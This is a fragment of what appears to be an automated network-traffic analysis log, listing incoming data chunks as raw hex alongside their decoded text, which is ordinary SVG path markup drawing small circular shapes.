2023-05-31 12:52:01 UTC	3118	IN	Data Raw: 30 2c 31 2d 32 2e 38 36 2c 30 41 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 39 32 32 2c 31 32 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 31 2e 36 37 2c 31 33 33 2e 31 32 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 31 2e 39 2c 31 34 30 61 31 2e 36 38 2c 31 2e 36 38 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e Data Ascii: 0,1-2.86,0A2.09,2.09,0,0,1,922,125"/><path class="cls-4" d="M921.67,133.12a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"/><path class="cls-4" d="M921.9,140a1.68,1.68,0,0,1,.76-2.2,2.
2023-05-31 12:52:01 UTC	3134	IN	Data Raw: 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 30 35 2e 34 37 2c 32 37 30 2e 33 39 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 41 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2c 39 30 39 2c 32 37 32 61 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c Data Ascii: 48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.82"/><path class="cls-4" d="M905.47,270.39a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.29.93A2.38,2.38,0,0,1,909,272a2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><
2023-05-31 12:52:01 UTC	3150	IN	Data Raw: 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 35 2e 36 35 2c 32 30 39 2e 38 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 35 2e 38 38 2c 32 31 36 2e 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d Data Ascii: class="cls-4" d="M875.65,209.87a1.69,1.69,0,0,1,.76-2.2,2.49,2.49,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><path class="cls-4" d="M875.88,216.7a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-
2023-05-31 12:52:01 UTC	3166	IN	Data Raw: 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 36 2e 30 35 2c 31 35 36 2e 31 39 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 Data Ascii: 36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"/><path class="cls-4" d="M846.05,156.19a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"/><path class="cls-4" d="
2023-05-31 12:52:01 UTC	3182	IN	Data Raw: 2c 32 38 36 2e 36 33 61 31 2e 36 38 2c 31 2e 36 38 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 32 39 2e 38 36 2c 32 39 33 2e 34 35 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 Data Ascii: ,286.63a1.68,1.68,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.92,2.37,2.37,0,0,1-.5,2.85,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><path class="cls-4" d="M829.86,293.45a1.7,1.7,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2
2023-05-31 12:52:01 UTC	3198	IN	Data Raw: 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 30 2c 32 33 32 2e 39 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 30 2e 32 36 2c 32 33 39 2e 37 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 Data Ascii: ,0,0,1-.16-2.81"/><path class="cls-4" d="M800,232.94a1.7,1.7,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"/><path class="cls-4" d="M800.26,239.77a1.7,1.7,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.9
2023-05-31 12:52:01 UTC	3214	IN	Data Raw: 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 30 35 2c 32 32 39 2e 32 35 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 30 34 2e 37 33 2c 32 32 31 2e 35 33 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 Data Ascii: 37,2.37,0,0,1,.18,3.18"/><path class="cls-7" d="M505,229.25a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"/><path class="cls-7" d="M504.73,221.53a1.92,1.92,0,0,1-.87,2.49,2.79,2.79
2023-05-31 12:52:01 UTC	3230	IN	Data Raw: 3d 22 4d 35 32 33 2e 38 31 2c 38 39 2e 35 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 33 2e 35 35 2c 38 31 2e 38 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e Data Ascii: ="M523.81,89.56a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M523.55,81.84a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.
2023-05-31 12:52:01 UTC	3246	IN	Data Raw: 2e 36 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 35 37 2e 35 32 2c 31 35 37 2e 39 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 Data Ascii: .66a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M557.52,157.94a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3
2023-05-31 12:52:01 UTC	3262	IN	Data Raw: 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 31 2e 34 39 2c 32 33 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 Data Ascii: 9,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.17"/><path class="cls-7" d="M591.49,234a1.92,1.92,0,0,1-.87,2.49,2.78,2.78,0,0,1-3.71-1.05,2.67,2.67,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><pa
2023-05-31 12:52:01 UTC	3278	IN	Data Raw: 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 31 30 2e 33 31 2c 39 34 2e 33 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 31 30 2e 30 35 2c 38 36 2e 36 34 Data Ascii: 1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M610.31,94.36a1.91,1.91,0,0,1-.87,2.48,2.78,2.78,0,0,1-3.71-1,2.67,2.67,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M610.05,86.64
2023-05-31 12:52:01 UTC	3294	IN	Data Raw: 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 34 34 2e 32 38 2c 31 37 30 2e 34 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 34 34 2c 31 36 32 2e 37 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c Data Ascii: 6,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M644.28,170.46a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M644,162.74a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,
2023-05-31 12:52:01 UTC	3310	IN	Data Raw: 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 37 38 2e 32 35 2c 32 34 36 2e 35 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 37 38 2c 32 33 38 2e 38 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 Data Ascii: "/><path class="cls-7" d="M678.25,246.56a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M678,238.84a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1.05,2.66,2
2023-05-31 12:52:02 UTC	3326	IN	Data Raw: 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 39 36 2e 38 31 2c 39 39 2e 31 35 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e Data Ascii: a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M696.81,99.15a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.
2023-05-31 12:52:02 UTC	3342	IN	Data Raw: 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 33 30 2e 37 38 2c 31 37 35 2e 32 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: 1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M730.78,175.26a1.91,1.91,0,0,1-.87,2.48,2.78,2.78,0,0,1-3.71-1.05,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"/><path class="
2023-05-31 12:52:02 UTC	3358	IN	Data Raw: 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 34 2e 37 35 2c 32 35 31 2e 33 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 34 2e 34 39 2c 32 34 33 2e 36 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 Data Ascii: 22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M764.75,251.36a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M764.49,243.64a1.92,1.92,0,0,1-.87,2.49
2023-05-31 12:52:02 UTC	3374	IN	Data Raw: 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 35 33 2e 34 32 2c 32 35 39 2e 35 34 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d Data Ascii: .13-1.36,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M653.42,259.54a2.16,2.16,0,0,1-1.1,2.75,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M
2023-05-31 12:52:02 UTC	3390	IN	Data Raw: 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 38 38 2e 31 35 2c 33 32 30 2e 36 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 